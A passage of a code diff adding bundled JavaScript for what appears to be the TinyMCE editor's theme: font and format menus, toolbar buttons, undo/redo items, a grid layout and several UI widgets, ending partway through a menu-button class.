+        if (!match && fontFamily) {
+          self.text(getFirstFont(fontFamily));
+        }
+      });
+    };
+  };
+  var createFormats = function (formats) {
+    formats = formats.replace(/;$/, '').split(';');
+    var i = formats.length;
+    while (i--) {
+      formats[i] = formats[i].split('=');
+    }
+    return formats;
+  };
+  var getFontItems = function (editor) {
+    var defaultFontsFormats = 'Andale Mono=andale mono,monospace;' + 'Arial=arial,helvetica,sans-serif;' + 'Arial Black=arial black,sans-serif;' + 'Book Antiqua=book antiqua,palatino,serif;' + 'Comic Sans MS=comic sans ms,sans-serif;' + 'Courier New=courier new,courier,monospace;' + 'Georgia=georgia,palatino,serif;' + 'Helvetica=helvetica,arial,sans-serif;' + 'Impact=impact,sans-serif;' + 'Symbol=symbol;' + 'Tahoma=tahoma,arial,helvetica,sans-serif;' + 'Terminal=terminal,monaco,monospace;' + 'Times New Roman=times new roman,times,serif;' + 'Trebuchet MS=trebuchet ms,geneva,sans-serif;' + 'Verdana=verdana,geneva,sans-serif;' + 'Webdings=webdings;' + 'Wingdings=wingdings,zapf dingbats';
+    var fonts = createFormats(editor.settings.font_formats || defaultFontsFormats);
+    return global$4.map(fonts, function (font) {
+      return {
+        text: { raw: font[0] },
+        value: font[1],
+        textStyle: font[1].indexOf('dings') === -1 ? 'font-family:' + font[1] : ''
+      };
+    });
+  };
+  var registerButtons = function (editor) {
+    editor.addButton('fontselect', function () {
+      var items = getFontItems(editor);
+      return {
+        type: 'listbox',
+        text: 'Font Family',
+        tooltip: 'Font Family',
+        values: items,
+        fixedWidth: true,
+        onPostRender: createFontNameListBoxChangeHandler(editor, items),
+        onselect: function (e) {
+          if (e.control.settings.value) {
+            editor.execCommand('FontName', false, e.control.settings.value);
+          }
+        }
+      };
+    });
+  };
+  var register$1 = function (editor) {
+    registerButtons(editor);
+  };
+  var $_2g5ce1bkjjgwekcz = { register: register$1 };
+
+  var round = function (number, precision) {
+    var factor = Math.pow(10, precision);
+    return Math.round(number * factor) / factor;
+  };
+  var toPt = function (fontSize, precision) {
+    if (/[0-9.]+px$/.test(fontSize)) {
+      return round(parseInt(fontSize, 10) * 72 / 96, precision || 0) + 'pt';
+    }
+    return fontSize;
+  };
+  var findMatchingValue$1 = function (items, pt, px) {
+    var value;
+    global$4.each(items, function (item) {
+      if (item.value === px) {
+        value = px;
+      } else if (item.value === pt) {
+        value = pt;
+      }
+    });
+    return value;
+  };
+  var createFontSizeListBoxChangeHandler = function (editor, items) {
+    return function () {
+      var self = this;
+      editor.on('init nodeChange', function (e) {
+        var px, pt, precision, match;
+        px = editor.queryCommandValue('FontSize');
+        if (px) {
+          for (precision = 3; !match && precision >= 0; precision--) {
+            pt = toPt(px, precision);
+            match = findMatchingValue$1(items, pt, px);
+          }
+        }
+        self.value(match ? match : null);
+        if (!match) {
+          self.text(pt);
+        }
+      });
+    };
+  };
+  var getFontSizeItems = function (editor) {
+    var defaultFontsizeFormats = '8pt 10pt 12pt 14pt 18pt 24pt 36pt';
+    var fontsizeFormats = editor.settings.fontsize_formats || defaultFontsizeFormats;
+    return global$4.map(fontsizeFormats.split(' '), function (item) {
+      var text = item, value = item;
+      var values = item.split('=');
+      if (values.length > 1) {
+        text = values[0];
+        value = values[1];
+      }
+      return {
+        text: text,
+        value: value
+      };
+    });
+  };
+  var registerButtons$1 = function (editor) {
+    editor.addButton('fontsizeselect', function () {
+      var items = getFontSizeItems(editor);
+      return {
+        type: 'listbox',
+        text: 'Font Sizes',
+        tooltip: 'Font Sizes',
+        values: items,
+        fixedWidth: true,
+        onPostRender: createFontSizeListBoxChangeHandler(editor, items),
+        onclick: function (e) {
+          if (e.control.settings.value) {
+            editor.execCommand('FontSize', false, e.control.settings.value);
+          }
+        }
+      };
+    });
+  };
+  var register$2 = function (editor) {
+    registerButtons$1(editor);
+  };
+  var $_b15nsk1bljjgwekd9 = { register: register$2 };
+
+  var hideMenuObjects = function (editor, menu) {
+    var count = menu.length;
+    global$4.each(menu, function (item) {
+      if (item.menu) {
+        item.hidden = hideMenuObjects(editor, item.menu) === 0;
+      }
+      var formatName = item.format;
+      if (formatName) {
+        item.hidden = !editor.formatter.canApply(formatName);
+      }
+      if (item.hidden) {
+        count--;
+      }
+    });
+    return count;
+  };
+  var hideFormatMenuItems = function (editor, menu) {
+    var count = menu.items().length;
+    menu.items().each(function (item) {
+      if (item.menu) {
+        item.visible(hideFormatMenuItems(editor, item.menu) > 0);
+      }
+      if (!item.menu && item.settings.menu) {
+        item.visible(hideMenuObjects(editor, item.settings.menu) > 0);
+      }
+      var formatName = item.settings.format;
+      if (formatName) {
+        item.visible(editor.formatter.canApply(formatName));
+      }
+      if (!item.visible()) {
+        count--;
+      }
+    });
+    return count;
+  };
+  var createFormatMenu = function (editor) {
+    var count = 0;
+    var newFormats = [];
+    var defaultStyleFormats = [
+      {
+        title: 'Headings',
+        items: [
+          {
+            title: 'Heading 1',
+            format: 'h1'
+          },
+          {
+            title: 'Heading 2',
+            format: 'h2'
+          },
+          {
+            title: 'Heading 3',
+            format: 'h3'
+          },
+          {
+            title: 'Heading 4',
+            format: 'h4'
+          },
+          {
+            title: 'Heading 5',
+            format: 'h5'
+          },
+          {
+            title: 'Heading 6',
+            format: 'h6'
+          }
+        ]
+      },
+      {
+        title: 'Inline',
+        items: [
+          {
+            title: 'Bold',
+            icon: 'bold',
+            format: 'bold'
+          },
+          {
+            title: 'Italic',
+            icon: 'italic',
+            format: 'italic'
+          },
+          {
+            title: 'Underline',
+            icon: 'underline',
+            format: 'underline'
+          },
+          {
+            title: 'Strikethrough',
+            icon: 'strikethrough',
+            format: 'strikethrough'
+          },
+          {
+            title: 'Superscript',
+            icon: 'superscript',
+            format: 'superscript'
+          },
+          {
+            title: 'Subscript',
+            icon: 'subscript',
+            format: 'subscript'
+          },
+          {
+            title: 'Code',
+            icon: 'code',
+            format: 'code'
+          }
+        ]
+      },
+      {
+        title: 'Blocks',
+        items: [
+          {
+            title: 'Paragraph',
+            format: 'p'
+          },
+          {
+            title: 'Blockquote',
+            format: 'blockquote'
+          },
+          {
+            title: 'Div',
+            format: 'div'
+          },
+          {
+            title: 'Pre',
+            format: 'pre'
+          }
+        ]
+      },
+      {
+        title: 'Alignment',
+        items: [
+          {
+            title: 'Left',
+            icon: 'alignleft',
+            format: 'alignleft'
+          },
+          {
+            title: 'Center',
+            icon: 'aligncenter',
+            format: 'aligncenter'
+          },
+          {
+            title: 'Right',
+            icon: 'alignright',
+            format: 'alignright'
+          },
+          {
+            title: 'Justify',
+            icon: 'alignjustify',
+            format: 'alignjustify'
+          }
+        ]
+      }
+    ];
+    var createMenu = function (formats) {
+      var menu = [];
+      if (!formats) {
+        return;
+      }
+      global$4.each(formats, function (format) {
+        var menuItem = {
+          text: format.title,
+          icon: format.icon
+        };
+        if (format.items) {
+          menuItem.menu = createMenu(format.items);
+        } else {
+          var formatName = format.format || 'custom' + count++;
+          if (!format.format) {
+            format.name = formatName;
+            newFormats.push(format);
+          }
+          menuItem.format = formatName;
+          menuItem.cmd = format.cmd;
+        }
+        menu.push(menuItem);
+      });
+      return menu;
+    };
+    var createStylesMenu = function () {
+      var menu;
+      if (editor.settings.style_formats_merge) {
+        if (editor.settings.style_formats) {
+          menu = createMenu(defaultStyleFormats.concat(editor.settings.style_formats));
+        } else {
+          menu = createMenu(defaultStyleFormats);
+        }
+      } else {
+        menu = createMenu(editor.settings.style_formats || defaultStyleFormats);
+      }
+      return menu;
+    };
+    editor.on('init', function () {
+      global$4.each(newFormats, function (format) {
+        editor.formatter.register(format.name, format);
+      });
+    });
+    return {
+      type: 'menu',
+      items: createStylesMenu(),
+      onPostRender: function (e) {
+        editor.fire('renderFormatsMenu', { control: e.control });
+      },
+      itemDefaults: {
+        preview: true,
+        textStyle: function () {
+          if (this.settings.format) {
+            return editor.formatter.getCssText(this.settings.format);
+          }
+        },
+        onPostRender: function () {
+          var self = this;
+          self.parent().on('show', function () {
+            var formatName, command;
+            formatName = self.settings.format;
+            if (formatName) {
+              self.disabled(!editor.formatter.canApply(formatName));
+              self.active(editor.formatter.match(formatName));
+            }
+            command = self.settings.cmd;
+            if (command) {
+              self.active(editor.queryCommandState(command));
+            }
+          });
+        },
+        onclick: function () {
+          if (this.settings.format) {
+            toggleFormat(editor, this.settings.format)();
+          }
+          if (this.settings.cmd) {
+            editor.execCommand(this.settings.cmd);
+          }
+        }
+      }
+    };
+  };
+  var registerMenuItems = function (editor, formatMenu) {
+    editor.addMenuItem('formats', {
+      text: 'Formats',
+      menu: formatMenu
+    });
+  };
+  var registerButtons$2 = function (editor, formatMenu) {
+    editor.addButton('styleselect', {
+      type: 'menubutton',
+      text: 'Formats',
+      menu: formatMenu,
+      onShowMenu: function () {
+        if (editor.settings.style_formats_autohide) {
+          hideFormatMenuItems(editor, this.menu);
+        }
+      }
+    });
+  };
+  var register$3 = function (editor) {
+    var formatMenu = createFormatMenu(editor);
+    registerMenuItems(editor, formatMenu);
+    registerButtons$2(editor, formatMenu);
+  };
+  var $_9qaa1r1bmjjgwekdc = { register: register$3 };
+
+  var defaultBlocks = 'Paragraph=p;' + 'Heading 1=h1;' + 'Heading 2=h2;' + 'Heading 3=h3;' + 'Heading 4=h4;' + 'Heading 5=h5;' + 'Heading 6=h6;' + 'Preformatted=pre';
+  var createFormats$1 = function (formats) {
+    formats = formats.replace(/;$/, '').split(';');
+    var i = formats.length;
+    while (i--) {
+      formats[i] = formats[i].split('=');
+    }
+    return formats;
+  };
+  var createListBoxChangeHandler = function (editor, items, formatName) {
+    return function () {
+      var self = this;
+      editor.on('nodeChange', function (e) {
+        var formatter = editor.formatter;
+        var value = null;
+        global$4.each(e.parents, function (node) {
+          global$4.each(items, function (item) {
+            if (formatName) {
+              if (formatter.matchNode(node, formatName, { value: item.value })) {
+                value = item.value;
+              }
+            } else {
+              if (formatter.matchNode(node, item.value)) {
+                value = item.value;
+              }
+            }
+            if (value) {
+              return false;
+            }
+          });
+          if (value) {
+            return false;
+          }
+        });
+        self.value(value);
+      });
+    };
+  };
+  var lazyFormatSelectBoxItems = function (editor, blocks) {
+    return function () {
+      var items = [];
+      global$4.each(blocks, function (block) {
+        items.push({
+          text: block[0],
+          value: block[1],
+          textStyle: function () {
+            return editor.formatter.getCssText(block[1]);
+          }
+        });
+      });
+      return {
+        type: 'listbox',
+        text: blocks[0][0],
+        values: items,
+        fixedWidth: true,
+        onselect: function (e) {
+          if (e.control) {
+            var fmt = e.control.value();
+            toggleFormat(editor, fmt)();
+          }
+        },
+        onPostRender: createListBoxChangeHandler(editor, items)
+      };
+    };
+  };
+  var buildMenuItems = function (editor, blocks) {
+    return global$4.map(blocks, function (block) {
+      return {
+        text: block[0],
+        onclick: toggleFormat(editor, block[1]),
+        textStyle: function () {
+          return editor.formatter.getCssText(block[1]);
+        }
+      };
+    });
+  };
+  var register$4 = function (editor) {
+    var blocks = createFormats$1(editor.settings.block_formats || defaultBlocks);
+    editor.addMenuItem('blockformats', {
+      text: 'Blocks',
+      menu: buildMenuItems(editor, blocks)
+    });
+    editor.addButton('formatselect', lazyFormatSelectBoxItems(editor, blocks));
+  };
+  var $_a3xw9u1bnjjgwekdh = { register: register$4 };
+
+  var createCustomMenuItems = function (editor, names) {
+    var items, nameList;
+    if (typeof names === 'string') {
+      nameList = names.split(' ');
+    } else if (global$4.isArray(names)) {
+      return flatten$1(global$4.map(names, function (names) {
+        return createCustomMenuItems(editor, names);
+      }));
+    }
+    items = global$4.grep(nameList, function (name) {
+      return name === '|' || name in editor.menuItems;
+    });
+    return global$4.map(items, function (name) {
+      return name === '|' ? { text: '-' } : editor.menuItems[name];
+    });
+  };
+  var isSeparator = function (menuItem) {
+    return menuItem && menuItem.text === '-';
+  };
+  var trimMenuItems = function (menuItems) {
+    var menuItems2 = filter(menuItems, function (menuItem, i, menuItems) {
+      return !isSeparator(menuItem) || !isSeparator(menuItems[i - 1]);
+    });
+    return filter(menuItems2, function (menuItem, i, menuItems) {
+      return !isSeparator(menuItem) || i > 0 && i < menuItems.length - 1;
+    });
+  };
+  var createContextMenuItems = function (editor, context) {
+    var outputMenuItems = [{ text: '-' }];
+    var menuItems = global$4.grep(editor.menuItems, function (menuItem) {
+      return menuItem.context === context;
+    });
+    global$4.each(menuItems, function (menuItem) {
+      if (menuItem.separator === 'before') {
+        outputMenuItems.push({ text: '|' });
+      }
+      if (menuItem.prependToContext) {
+        outputMenuItems.unshift(menuItem);
+      } else {
+        outputMenuItems.push(menuItem);
+      }
+      if (menuItem.separator === 'after') {
+        outputMenuItems.push({ text: '|' });
+      }
+    });
+    return outputMenuItems;
+  };
+  var createInsertMenu = function (editor) {
+    var insertButtonItems = editor.settings.insert_button_items;
+    if (insertButtonItems) {
+      return trimMenuItems(createCustomMenuItems(editor, insertButtonItems));
+    } else {
+      return trimMenuItems(createContextMenuItems(editor, 'insert'));
+    }
+  };
+  var registerButtons$3 = function (editor) {
+    editor.addButton('insert', {
+      type: 'menubutton',
+      icon: 'insert',
+      menu: [],
+      oncreatemenu: function () {
+        this.menu.add(createInsertMenu(editor));
+        this.menu.renderNew();
+      }
+    });
+  };
+  var register$5 = function (editor) {
+    registerButtons$3(editor);
+  };
+  var $_dvqvtt1bojjgwekdj = { register: register$5 };
+
+  var registerFormatButtons = function (editor) {
+    global$4.each({
+      bold: 'Bold',
+      italic: 'Italic',
+      underline: 'Underline',
+      strikethrough: 'Strikethrough',
+      subscript: 'Subscript',
+      superscript: 'Superscript'
+    }, function (text, name) {
+      editor.addButton(name, {
+        active: false,
+        tooltip: text,
+        onPostRender: postRenderFormatToggle(editor, name),
+        onclick: toggleFormat(editor, name)
+      });
+    });
+  };
+  var registerCommandButtons = function (editor) {
+    global$4.each({
+      outdent: [
+        'Decrease indent',
+        'Outdent'
+      ],
+      indent: [
+        'Increase indent',
+        'Indent'
+      ],
+      cut: [
+        'Cut',
+        'Cut'
+      ],
+      copy: [
+        'Copy',
+        'Copy'
+      ],
+      paste: [
+        'Paste',
+        'Paste'
+      ],
+      help: [
+        'Help',
+        'mceHelp'
+      ],
+      selectall: [
+        'Select all',
+        'SelectAll'
+      ],
+      visualaid: [
+        'Visual aids',
+        'mceToggleVisualAid'
+      ],
+      newdocument: [
+        'New document',
+        'mceNewDocument'
+      ],
+      removeformat: [
+        'Clear formatting',
+        'RemoveFormat'
+      ],
+      remove: [
+        'Remove',
+        'Delete'
+      ]
+    }, function (item, name) {
+      editor.addButton(name, {
+        tooltip: item[0],
+        cmd: item[1]
+      });
+    });
+  };
+  var registerCommandToggleButtons = function (editor) {
+    global$4.each({
+      blockquote: [
+        'Blockquote',
+        'mceBlockQuote'
+      ],
+      subscript: [
+        'Subscript',
+        'Subscript'
+      ],
+      superscript: [
+        'Superscript',
+        'Superscript'
+      ]
+    }, function (item, name) {
+      editor.addButton(name, {
+        active: false,
+        tooltip: item[0],
+        cmd: item[1],
+        onPostRender: postRenderFormatToggle(editor, name)
+      });
+    });
+  };
+  var registerButtons$4 = function (editor) {
+    registerFormatButtons(editor);
+    registerCommandButtons(editor);
+    registerCommandToggleButtons(editor);
+  };
+  var registerMenuItems$1 = function (editor) {
+    global$4.each({
+      bold: [
+        'Bold',
+        'Bold',
+        'Meta+B'
+      ],
+      italic: [
+        'Italic',
+        'Italic',
+        'Meta+I'
+      ],
+      underline: [
+        'Underline',
+        'Underline',
+        'Meta+U'
+      ],
+      strikethrough: [
+        'Strikethrough',
+        'Strikethrough'
+      ],
+      subscript: [
+        'Subscript',
+        'Subscript'
+      ],
+      superscript: [
+        'Superscript',
+        'Superscript'
+      ],
+      removeformat: [
+        'Clear formatting',
+        'RemoveFormat'
+      ],
+      newdocument: [
+        'New document',
+        'mceNewDocument'
+      ],
+      cut: [
+        'Cut',
+        'Cut',
+        'Meta+X'
+      ],
+      copy: [
+        'Copy',
+        'Copy',
+        'Meta+C'
+      ],
+      paste: [
+        'Paste',
+        'Paste',
+        'Meta+V'
+      ],
+      selectall: [
+        'Select all',
+        'SelectAll',
+        'Meta+A'
+      ]
+    }, function (item, name) {
+      editor.addMenuItem(name, {
+        text: item[0],
+        icon: name,
+        shortcut: item[2],
+        cmd: item[1]
+      });
+    });
+    editor.addMenuItem('codeformat', {
+      text: 'Code',
+      icon: 'code',
+      onclick: toggleFormat(editor, 'code')
+    });
+  };
+  var register$6 = function (editor) {
+    registerButtons$4(editor);
+    registerMenuItems$1(editor);
+  };
+  var $_2ywvy11bpjjgwekdn = { register: register$6 };
+
+  var toggleUndoRedoState = function (editor, type) {
+    return function () {
+      var self = this;
+      var checkState = function () {
+        var typeFn = type === 'redo' ? 'hasRedo' : 'hasUndo';
+        return editor.undoManager ? editor.undoManager[typeFn]() : false;
+      };
+      self.disabled(!checkState());
+      editor.on('Undo Redo AddUndo TypingUndo ClearUndos SwitchMode', function () {
+        self.disabled(editor.readonly || !checkState());
+      });
+    };
+  };
+  var registerMenuItems$2 = function (editor) {
+    editor.addMenuItem('undo', {
+      text: 'Undo',
+      icon: 'undo',
+      shortcut: 'Meta+Z',
+      onPostRender: toggleUndoRedoState(editor, 'undo'),
+      cmd: 'undo'
+    });
+    editor.addMenuItem('redo', {
+      text: 'Redo',
+      icon: 'redo',
+      shortcut: 'Meta+Y',
+      onPostRender: toggleUndoRedoState(editor, 'redo'),
+      cmd: 'redo'
+    });
+  };
+  var registerButtons$5 = function (editor) {
+    editor.addButton('undo', {
+      tooltip: 'Undo',
+      onPostRender: toggleUndoRedoState(editor, 'undo'),
+      cmd: 'undo'
+    });
+    editor.addButton('redo', {
+      tooltip: 'Redo',
+      onPostRender: toggleUndoRedoState(editor, 'redo'),
+      cmd: 'redo'
+    });
+  };
+  var register$7 = function (editor) {
+    registerMenuItems$2(editor);
+    registerButtons$5(editor);
+  };
+  var $_5qfrkx1bqjjgwekdq = { register: register$7 };
+
+  var toggleVisualAidState = function (editor) {
+    return function () {
+      var self = this;
+      editor.on('VisualAid', function (e) {
+        self.active(e.hasVisual);
+      });
+      self.active(editor.hasVisual);
+    };
+  };
+  var registerMenuItems$3 = function (editor) {
+    editor.addMenuItem('visualaid', {
+      text: 'Visual aids',
+      selectable: true,
+      onPostRender: toggleVisualAidState(editor),
+      cmd: 'mceToggleVisualAid'
+    });
+  };
+  var register$8 = function (editor) {
+    registerMenuItems$3(editor);
+  };
+  var $_ebb6rc1brjjgwekdr = { register: register$8 };
+
+  var setupEnvironment = function () {
+    Widget.tooltips = !global$1.iOS;
+    Control$1.translate = function (text) {
+      return global$5.translate(text);
+    };
+  };
+  var setupUiContainer = function (editor) {
+    if (editor.settings.ui_container) {
+      global$1.container = $_6nlstg1bfjjgwekcb.descendant(Element$$1.fromDom(document.body), editor.settings.ui_container).fold(constant(null), function (elm) {
+        return elm.dom();
+      });
+    }
+  };
+  var setupRtlMode = function (editor) {
+    if (editor.rtl) {
+      Control$1.rtl = true;
+    }
+  };
+  var setupHideFloatPanels = function (editor) {
+    editor.on('mousedown', function () {
+      FloatPanel.hideAll();
+    });
+  };
+  var setup = function (editor) {
+    setupRtlMode(editor);
+    setupHideFloatPanels(editor);
+    setupUiContainer(editor);
+    setupEnvironment();
+    $_a3xw9u1bnjjgwekdh.register(editor);
+    $_7uh4c31bijjgwekcw.register(editor);
+    $_2ywvy11bpjjgwekdn.register(editor);
+    $_5qfrkx1bqjjgwekdq.register(editor);
+    $_b15nsk1bljjgwekd9.register(editor);
+    $_2g5ce1bkjjgwekcz.register(editor);
+    $_9qaa1r1bmjjgwekdc.register(editor);
+    $_ebb6rc1brjjgwekdr.register(editor);
+    $_dvqvtt1bojjgwekdj.register(editor);
+  };
+  var $_gg6ikw1bejjgwekc5 = { setup: setup };
+
+  var GridLayout = AbsoluteLayout.extend({
+    recalc: function (container) {
+      var settings, rows, cols, items, contLayoutRect, width, height, rect, ctrlLayoutRect, ctrl, x, y, posX, posY, ctrlSettings, contPaddingBox, align, spacingH, spacingV, alignH, alignV, maxX, maxY;
+      var colWidths = [];
+      var rowHeights = [];
+      var ctrlMinWidth, ctrlMinHeight, availableWidth, availableHeight, reverseRows, idx;
+      settings = container.settings;
+      items = container.items().filter(':visible');
+      contLayoutRect = container.layoutRect();
+      cols = settings.columns || Math.ceil(Math.sqrt(items.length));
+      rows = Math.ceil(items.length / cols);
+      spacingH = settings.spacingH || settings.spacing || 0;
+      spacingV = settings.spacingV || settings.spacing || 0;
+      alignH = settings.alignH || settings.align;
+      alignV = settings.alignV || settings.align;
+      contPaddingBox = container.paddingBox;
+      reverseRows = 'reverseRows' in settings ? settings.reverseRows : container.isRtl();
+      if (alignH && typeof alignH === 'string') {
+        alignH = [alignH];
+      }
+      if (alignV && typeof alignV === 'string') {
+        alignV = [alignV];
+      }
+      for (x = 0; x < cols; x++) {
+        colWidths.push(0);
+      }
+      for (y = 0; y < rows; y++) {
+        rowHeights.push(0);
+      }
+      for (y = 0; y < rows; y++) {
+        for (x = 0; x < cols; x++) {
+          ctrl = items[y * cols + x];
+          if (!ctrl) {
+            break;
+          }
+          ctrlLayoutRect = ctrl.layoutRect();
+          ctrlMinWidth = ctrlLayoutRect.minW;
+          ctrlMinHeight = ctrlLayoutRect.minH;
+          colWidths[x] = ctrlMinWidth > colWidths[x] ? ctrlMinWidth : colWidths[x];
+          rowHeights[y] = ctrlMinHeight > rowHeights[y] ? ctrlMinHeight : rowHeights[y];
+        }
+      }
+      availableWidth = contLayoutRect.innerW - contPaddingBox.left - contPaddingBox.right;
+      for (maxX = 0, x = 0; x < cols; x++) {
+        maxX += colWidths[x] + (x > 0 ? spacingH : 0);
+        availableWidth -= (x > 0 ? spacingH : 0) + colWidths[x];
+      }
+      availableHeight = contLayoutRect.innerH - contPaddingBox.top - contPaddingBox.bottom;
+      for (maxY = 0, y = 0; y < rows; y++) {
+        maxY += rowHeights[y] + (y > 0 ? spacingV : 0);
+        availableHeight -= (y > 0 ? spacingV : 0) + rowHeights[y];
+      }
+      maxX += contPaddingBox.left + contPaddingBox.right;
+      maxY += contPaddingBox.top + contPaddingBox.bottom;
+      rect = {};
+      rect.minW = maxX + (contLayoutRect.w - contLayoutRect.innerW);
+      rect.minH = maxY + (contLayoutRect.h - contLayoutRect.innerH);
+      rect.contentW = rect.minW - contLayoutRect.deltaW;
+      rect.contentH = rect.minH - contLayoutRect.deltaH;
+      rect.minW = Math.min(rect.minW, contLayoutRect.maxW);
+      rect.minH = Math.min(rect.minH, contLayoutRect.maxH);
+      rect.minW = Math.max(rect.minW, contLayoutRect.startMinWidth);
+      rect.minH = Math.max(rect.minH, contLayoutRect.startMinHeight);
+      if (contLayoutRect.autoResize && (rect.minW !== contLayoutRect.minW || rect.minH !== contLayoutRect.minH)) {
+        rect.w = rect.minW;
+        rect.h = rect.minH;
+        container.layoutRect(rect);
+        this.recalc(container);
+        if (container._lastRect === null) {
+          var parentCtrl = container.parent();
+          if (parentCtrl) {
+            parentCtrl._lastRect = null;
+            parentCtrl.recalc();
+          }
+        }
+        return;
+      }
+      if (contLayoutRect.autoResize) {
+        rect = container.layoutRect(rect);
+        rect.contentW = rect.minW - contLayoutRect.deltaW;
+        rect.contentH = rect.minH - contLayoutRect.deltaH;
+      }
+      var flexV;
+      if (settings.packV === 'start') {
+        flexV = 0;
+      } else {
+        flexV = availableHeight > 0 ? Math.floor(availableHeight / rows) : 0;
+      }
+      var totalFlex = 0;
+      var flexWidths = settings.flexWidths;
+      if (flexWidths) {
+        for (x = 0; x < flexWidths.length; x++) {
+          totalFlex += flexWidths[x];
+        }
+      } else {
+        totalFlex = cols;
+      }
+      var ratio = availableWidth / totalFlex;
+      for (x = 0; x < cols; x++) {
+        colWidths[x] += flexWidths ? flexWidths[x] * ratio : ratio;
+      }
+      posY = contPaddingBox.top;
+      for (y = 0; y < rows; y++) {
+        posX = contPaddingBox.left;
+        height = rowHeights[y] + flexV;
+        for (x = 0; x < cols; x++) {
+          if (reverseRows) {
+            idx = y * cols + cols - 1 - x;
+          } else {
+            idx = y * cols + x;
+          }
+          ctrl = items[idx];
+          if (!ctrl) {
+            break;
+          }
+          ctrlSettings = ctrl.settings;
+          ctrlLayoutRect = ctrl.layoutRect();
+          width = Math.max(colWidths[x], ctrlLayoutRect.startMinWidth);
+          ctrlLayoutRect.x = posX;
+          ctrlLayoutRect.y = posY;
+          align = ctrlSettings.alignH || (alignH ? alignH[x] || alignH[0] : null);
+          if (align === 'center') {
+            ctrlLayoutRect.x = posX + width / 2 - ctrlLayoutRect.w / 2;
+          } else if (align === 'right') {
+            ctrlLayoutRect.x = posX + width - ctrlLayoutRect.w;
+          } else if (align === 'stretch') {
+            ctrlLayoutRect.w = width;
+          }
+          align = ctrlSettings.alignV || (alignV ? alignV[x] || alignV[0] : null);
+          if (align === 'center') {
+            ctrlLayoutRect.y = posY + height / 2 - ctrlLayoutRect.h / 2;
+          } else if (align === 'bottom') {
+            ctrlLayoutRect.y = posY + height - ctrlLayoutRect.h;
+          } else if (align === 'stretch') {
+            ctrlLayoutRect.h = height;
+          }
+          ctrl.layoutRect(ctrlLayoutRect);
+          posX += width + spacingH;
+          if (ctrl.recalc) {
+            ctrl.recalc();
+          }
+        }
+        posY += height + spacingV;
+      }
+    }
+  });
+
+  var Iframe = Widget.extend({
+    renderHtml: function () {
+      var self = this;
+      self.classes.add('iframe');
+      self.canFocus = false;
+      return '<iframe id="' + self._id + '" class="' + self.classes + '" tabindex="-1" src="' + (self.settings.url || 'javascript:\'\'') + '" frameborder="0"></iframe>';
+    },
+    src: function (src) {
+      this.getEl().src = src;
+    },
+    html: function (html, callback) {
+      var self = this, body = this.getEl().contentWindow.document.body;
+      if (!body) {
+        global$3.setTimeout(function () {
+          self.html(html);
+        });
+      } else {
+        body.innerHTML = html;
+        if (callback) {
+          callback();
+        }
+      }
+      return this;
+    }
+  });
+
+  var InfoBox = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.classes.add('widget').add('infobox');
+      self.canFocus = false;
+    },
+    severity: function (level) {
+      this.classes.remove('error');
+      this.classes.remove('warning');
+      this.classes.remove('success');
+      this.classes.add(level);
+    },
+    help: function (state) {
+      this.state.set('help', state);
+    },
+    renderHtml: function () {
+      var self = this, prefix = self.classPrefix;
+      return '<div id="' + self._id + '" class="' + self.classes + '">' + '<div id="' + self._id + '-body">' + self.encode(self.state.get('text')) + '<button role="button" tabindex="-1">' + '<i class="' + prefix + 'ico ' + prefix + 'i-help"></i>' + '</button>' + '</div>' + '</div>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:text', function (e) {
+        self.getEl('body').firstChild.data = self.encode(e.value);
+        if (self.state.get('rendered')) {
+          self.updateLayoutRect();
+        }
+      });
+      self.state.on('change:help', function (e) {
+        self.classes.toggle('has-help', e.value);
+        if (self.state.get('rendered')) {
+          self.updateLayoutRect();
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var Label = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.classes.add('widget').add('label');
+      self.canFocus = false;
+      if (settings.multiline) {
+        self.classes.add('autoscroll');
+      }
+      if (settings.strong) {
+        self.classes.add('strong');
+      }
+    },
+    initLayoutRect: function () {
+      var self = this, layoutRect = self._super();
+      if (self.settings.multiline) {
+        var size = funcs.getSize(self.getEl());
+        if (size.width > layoutRect.maxW) {
+          layoutRect.minW = layoutRect.maxW;
+          self.classes.add('multiline');
+        }
+        self.getEl().style.width = layoutRect.minW + 'px';
+        layoutRect.startMinH = layoutRect.h = layoutRect.minH = Math.min(layoutRect.maxH, funcs.getSize(self.getEl()).height);
+      }
+      return layoutRect;
+    },
+    repaint: function () {
+      var self = this;
+      if (!self.settings.multiline) {
+        self.getEl().style.lineHeight = self.layoutRect().h + 'px';
+      }
+      return self._super();
+    },
+    severity: function (level) {
+      this.classes.remove('error');
+      this.classes.remove('warning');
+      this.classes.remove('success');
+      this.classes.add(level);
+    },
+    renderHtml: function () {
+      var self = this;
+      var targetCtrl, forName, forId = self.settings.forId;
+      var text = self.settings.html ? self.settings.html : self.encode(self.state.get('text'));
+      if (!forId && (forName = self.settings.forName)) {
+        targetCtrl = self.getRoot().find('#' + forName)[0];
+        if (targetCtrl) {
+          forId = targetCtrl._id;
+        }
+      }
+      if (forId) {
+        return '<label id="' + self._id + '" class="' + self.classes + '"' + (forId ? ' for="' + forId + '"' : '') + '>' + text + '</label>';
+      }
+      return '<span id="' + self._id + '" class="' + self.classes + '">' + text + '</span>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:text', function (e) {
+        self.innerHtml(self.encode(e.value));
+        if (self.state.get('rendered')) {
+          self.updateLayoutRect();
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var Toolbar$1 = Container.extend({
+    Defaults: {
+      role: 'toolbar',
+      layout: 'flow'
+    },
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.classes.add('toolbar');
+    },
+    postRender: function () {
+      var self = this;
+      self.items().each(function (ctrl) {
+        ctrl.classes.add('toolbar-item');
+      });
+      return self._super();
+    }
+  });
+
+  var MenuBar = Toolbar$1.extend({
+    Defaults: {
+      role: 'menubar',
+      containerCls: 'menubar',
+      ariaRoot: true,
+      defaults: { type: 'menubutton' }
+    }
+  });
+
+  function isChildOf$1(node, parent$$1) {
+    while (node) {
+      if (parent$$1 === node) {
+        return true;
+      }
+      node = node.parentNode;
+    }
+    return false;
+  }
+  var MenuButton = Button.extend({
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._renderOpen = true;
+      self$$1._super(settings);
+      settings = self$$1.settings;
+      self$$1.classes.add('menubtn');
+      if (settings.fixedWidth) {
+        self$$1.classes.add('fixed-width');
+      }
+      self$$1.aria('haspopup', true);
